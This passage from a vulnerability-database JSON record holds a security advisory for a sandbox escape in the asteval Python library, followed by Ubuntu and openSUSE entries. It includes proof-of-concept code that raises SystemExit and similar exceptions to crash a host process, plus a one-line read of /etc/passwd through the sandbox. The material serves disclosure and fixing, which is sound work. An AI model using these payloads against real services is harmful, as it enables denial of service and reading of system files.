...)\n```\n\n**`asteval/asteval.py`, line 322** — `run()` exception handler:\n\n```python\nexcept Exception:                    # ← does NOT catch BaseException subclasses\n    if with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\n**`asteval/asteval.py`, line 370** — `eval()` exception handler:\n\n```python\nexcept Exception:                    # ← same gap\n    if show_errors and not raise_errors:\n        ...\n```\n\n**`asteval/asteval.py`, line 264** — `raise_exception()` raises the class directly:\n\n```python\nraise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above\n```\n\n---\n\n## Root Cause\n\nPython's exception hierarchy has two distinct branches under `BaseException`:\n\n```\nBaseException\n├── SystemExit          ← NOT caught by except Exception:\n├── KeyboardInterrupt   ← NOT caught by except Exception:\n├── GeneratorExit       ← NOT caught by except Exception:\n└── Exception           ← caught normally\n    ├── RuntimeError\n    ├── ValueError\n    └── ...\n```\n\n`FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes\n`raise SystemExit(\"msg\")`, the `on_raise()` handler calls:\n\n```python\nself.raise_exception(None, exc=out.__class__, msg=msg, expr='')\n```\n\nwhich executes `raise SystemExit(msg)`. This propagates through both `except Exception:`\nguards unchecked and surfaces in the calling application.\n\n---\n\n## Proof of Concept\n\n```python\nfrom asteval import Interpreter\n\n# Variant 1: terminate the process\naeval = Interpreter()\ntry:\n    aeval.eval('raise SystemExit(\"terminated by sandbox user\")')\nexcept SystemExit as e:\n    print(f\"[CONFIRMED] SystemExit escaped: {e.code!r}\")\n\n# Variant 2: disrupt signal/finally handling\naeval = Interpreter()\ntry:\n    aeval.eval('raise KeyboardInterrupt(\"interrupt injected\")')\nexcept KeyboardInterrupt as e:\n    print(f\"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}\")\n\n# Variant 3: GeneratorExit\naeval = Interpreter()\ntry:\n    aeval.eval('raise GeneratorExit(\"gen escape\")')\nexcept GeneratorExit as e:\n    print(f\"[CONFIRMED] GeneratorExit escaped: {str(e)!r}\")\n\n# Variant 4: BaseException base class\naeval = Interpreter()\ntry:\n    aeval.eval('raise BaseException(\"base escape\")')\nexcept BaseException as e:\n    if not isinstance(e, Exception):\n        print(f\"[CONFIRMED] BaseException escaped: {str(e)!r}\")\n```\n\n**Output (tested on asteval 1.0.6, Python 3.11/3.12):**\n\n```\n[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'\n[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'\n[CONFIRMED] GeneratorExit escaped: 'gen escape'\n[CONFIRMED] BaseException escaped: 'base escape'\n```\n\n### Real-world server scenario\n\n```python\nfrom asteval import Interpreter\n\ndef handle_request(user_expression):\n    aeval = Interpreter()\n    return aeval.eval(user_expression)   # SystemExit propagates here\n\n# Attacker sends: raise SystemExit(1)\n# Application terminates. Top-level except Exception: handlers do not protect it.\ntry:\n    handle_request('raise SystemExit(1)')\nexcept Exception:\n    pass  # \u003c-- does NOT catch SystemExit; process exits\n```\n\n---\n\n## Impact\n\n| Variant | Impact |\n|---------|--------|\n| `SystemExit` | Process terminates; exit code and message attacker-controlled |\n| `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops |\n| `GeneratorExit` | Disrupts generator cleanup in calling code |\n| `BaseException` | Generic escape, same propagation |\n\nAny application that:\n- Accepts user-supplied expressions via `asteval`\n- Relies on `except Exception:` at the top level (standard practice)\n- Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement)\n\n...is vulnerable to attacker-triggered process termination (DoS).\n\nCVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N),\nno interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N),\nhigh availability impact — process termination (A:H).\n\n---\n\n## Additional Note: File Read Capability (Acknowledged Limitation)\n\nIndependently of this vulnerability, `asteval` exposes a read-only `open()` wrapper\n(`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the\ncalling process:\n\n```python\naeval.eval(\"open('/etc/passwd').read()\")   # returns /etc/passwd contents\n```\n\nThis is documented in `doc/motivation.rst` as a known design choice (\"If reading from disk\nmust be forbidden, you will want to overwrite the `open()` function from the symbol table\").\nIt is included here for completeness, not as a separate advisory claim.\n\n---\n\n## Recommended Fix\n\n**Option A — Remove dangerous classes from `FROM_PY` (minimal, preferred):**\n\n```python\n# asteval/astutils.py\n\nFROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',\n           # Remove: 'BaseException',\n           'BufferError', 'BytesWarning',\n           'DeprecationWarning', 'EOFError', 'EnvironmentError',\n           'Exception', 'False', 'FloatingPointError',\n           # Remove: 'GeneratorExit',\n           'IOError', 'ImportError', 'ImportWarning', 'IndentationError',\n           'IndexError', 'KeyError',\n           # Remove: 'KeyboardInterrupt',\n           'LookupError',\n           'MemoryError', 'NameError', 'None',\n           'NotImplementedError', 'OSError', 'OverflowError',\n           'ReferenceError', 'RuntimeError', 'RuntimeWarning',\n           'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',\n           # Remove: 'SystemExit',\n           'True', 'TypeError', ...)\n```\n\n**Option B — Block non-`Exception` raises in `on_raise()`:**\n\n```python\n# asteval/asteval.py\n\ndef on_raise(self, node):\n    excnode = node.exc\n    msgnode = node.cause\n    out = self.run(excnode)\n    # Prevent BaseException subclasses from escaping the sandbox\n    if not issubclass(out.__class__, Exception):\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"raising {out.__class__.__name__!r} is not permitted\")\n        return\n    msg = ' '.join(str(a) for a in out.args)\n    msg2 = self.run(msgnode)\n    if msg2 not in (None, 'None'):\n        msg = f\"{msg}: {msg2}\"\n    self.raise_exception(None, exc=out.__class__, msg=msg, expr='')\n```\n\nNote: Option B also fixes a secondary bug on the same line — `' '.join(out.args)` crashes\nwith `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer\ncode). The fix uses `str(a) for a in out.args`.\n\n**Option C — Catch `BaseException` in `run()` and `eval()` (broadest, requires care):**\n\n```python\nexcept BaseException as exc:\n    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):\n        # Re-raise as RuntimeError to contain within sandbox\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"{type(exc).__name__} raised in sandbox\")\n    elif with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\nOption A is the simplest and least likely to introduce regressions. Option B additionally\naddresses the `str.join` crash on integer args.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-06-09 | Vulnerability discovered during code review |\n| 2026-06-09 | Report submitted via GitHub Security Advisory |\n| TBD | Maintainer acknowledgment |\n| TBD + 90 days | Public disclosure deadline |\n\n---\n\n## Researcher\n\nIndependent security researcher. No bug bounty program exists for this project.\nCVE assignment requested via GitHub Security Advisory submission.\n\n---\n\n## References\n\n- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)\n- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)\n- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy\n- `asteval` documentation: https://lmfit.github.io/asteval/","status":"published","published":"2026-09-10T09:44:52.019188Z","modified":"2026-09-10T12:15:04.049966682Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"UBUNTU-CVE-2026-55244","description":"ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.","status":"published","published":"2026-09-14T20:16:00Z","modified":"2026-10-17T12:59:07.635451197Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"openSUSE-SU-2026:11420-1","title":"python313-asteval-1.0.9-1.1 on GA media","description":"These are all security issues fixed in the python313-asteval-1.0.9-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-01T00:00:00Z","modified":"2026-08-02T11:45:08.018296345Z","updated_at":"2026-11-02T16:58:39.516824Z"}]}}
